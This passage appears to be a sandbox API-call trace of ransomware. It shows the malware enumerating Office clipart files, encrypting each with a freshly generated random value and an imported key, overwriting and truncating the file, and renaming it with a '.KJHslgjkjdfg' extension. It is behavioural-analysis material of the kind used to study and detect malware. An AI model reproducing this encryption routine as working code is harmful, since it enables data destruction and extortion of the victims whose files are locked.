FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d1f5400, ftCreationTime.dwHighDateTime=0x1bd4b44, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d1f5400, ftLastWriteTime.dwHighDateTime=0x1bd4b44, nFileSizeHigh=0x0, nFileSizeLow=0x1758, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00728_.WMF", cAlternateFileName="")) returned 1 [0238.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00728_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0238.589] GetProcessHeap () returned 0x2ef0000 [0238.589] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0238.589] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0238.590] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0238.590] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0238.591] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0238.591] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0238.591] GetProcessHeap () returned 0x2ef0000 [0238.591] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0238.591] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0238.591] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0238.591] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0238.592] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0238.592] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0238.592] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0238.592] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0238.592] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0238.592] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0238.592] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0238.592] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.592] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1758, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1758, lpOverlapped=0x0) returned 1 [0238.593] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1760, dwBufLen=0x1760 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1760) returned 1 [0238.593] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.593] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1760, lpOverlapped=0x0) returned 1 [0238.593] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0238.593] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.593] SetEndOfFile (hFile=0x130) returned 1 [0238.595] GetProcessHeap () returned 0x2ef0000 [0238.595] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0238.595] GetProcessHeap () returned 0x2ef0000 [0238.595] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0238.595] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00728_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00728_.wmf.kjhslgjkjdfg")) returned 1 [0238.596] CloseHandle (hObject=0x130) returned 1 [0238.596] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5096e900, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5096e900, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00732_.WMF", cAlternateFileName="")) returned 1 [0238.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00732_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0238.597] GetProcessHeap () returned 0x2ef0000 [0238.597] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0238.597] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0238.597] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0238.597] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0238.612] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0238.612] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0238.612] GetProcessHeap () returned 0x2ef0000 [0238.613] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0238.613] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0238.613] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0238.613] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0238.613] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0238.613] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0238.613] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0238.614] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0238.614] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0238.614] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0238.614] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0238.614] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.614] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x13fc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x13fc, lpOverlapped=0x0) returned 1 [0238.625] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1400, dwBufLen=0x1400 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1400) returned 1 [0238.625] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.626] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1400, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1400, lpOverlapped=0x0) returned 1 [0238.626] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0238.626] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x14d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.626] SetEndOfFile (hFile=0x130) returned 1 [0238.629] GetProcessHeap () returned 0x2ef0000 [0238.629] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0238.629] GetProcessHeap () returned 0x2ef0000 [0238.629] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0238.629] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00732_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00732_.wmf.kjhslgjkjdfg")) returned 1 [0238.631] CloseHandle (hObject=0x130) returned 1 [0238.631] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e348f00, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e348f00, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x660, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00734_.WMF", cAlternateFileName="")) returned 1 [0238.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00734_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0238.632] GetProcessHeap () returned 0x2ef0000 [0238.632] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0238.632] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0238.632] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0238.632] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0238.632] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0238.632] GetProcessHeap () returned 0x2ef0000 [0238.632] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0238.632] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0238.632] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0238.632] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0238.665] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0238.665] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0238.665] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0238.665] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0238.666] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0238.666] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0238.666] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0238.666] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.666] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x660, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x660, lpOverlapped=0x0) returned 1 [0238.666] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x660, dwBufLen=0x660 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x660) returned 1 [0238.666] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.666] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x660, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x660, lpOverlapped=0x0) returned 1 [0238.667] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0238.667] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x734, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.667] SetEndOfFile (hFile=0x130) returned 1 [0238.670] GetProcessHeap () returned 0x2ef0000 [0238.670] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0238.670] GetProcessHeap () returned 0x2ef0000 [0238.670] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0238.670] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00734_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00734_.wmf.kjhslgjkjdfg")) returned 1 [0238.672] CloseHandle (hObject=0x130) returned 1 [0238.673] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d036200, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d036200, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x5cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00735_.WMF", cAlternateFileName="")) returned 1 [0238.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00735_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0238.675] GetProcessHeap () returned 0x2ef0000 [0238.675] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0238.675] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0238.675] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0238.675] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0238.677] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0238.677] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0238.677] GetProcessHeap () returned 0x2ef0000 [0238.677] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0238.677] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0238.677] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0238.677] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0238.678] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0238.678] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0238.678] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0238.678] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0238.678] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0238.678] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0238.678] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0238.678] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.678] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5cc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5cc, lpOverlapped=0x0) returned 1 [0238.678] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5d0, dwBufLen=0x5d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5d0) returned 1 [0238.678] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.678] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5d0, lpOverlapped=0x0) returned 1 [0238.678] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0238.679] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.679] SetEndOfFile (hFile=0x130) returned 1 [0238.680] GetProcessHeap () returned 0x2ef0000 [0238.680] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0238.680] GetProcessHeap () returned 0x2ef0000 [0238.680] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0238.680] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00735_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00735_.wmf.kjhslgjkjdfg")) returned 1 [0238.682] CloseHandle (hObject=0x130) returned 1 [0238.682] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x498bcd00, ftCreationTime.dwHighDateTime=0x1bd4b44, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x498bcd00, ftLastWriteTime.dwHighDateTime=0x1bd4b44, nFileSizeHigh=0x0, nFileSizeLow=0x184c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00736_.WMF", cAlternateFileName="")) returned 1 [0238.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00736_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0238.686] GetProcessHeap () returned 0x2ef0000 [0238.687] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0238.687] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0238.687] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, 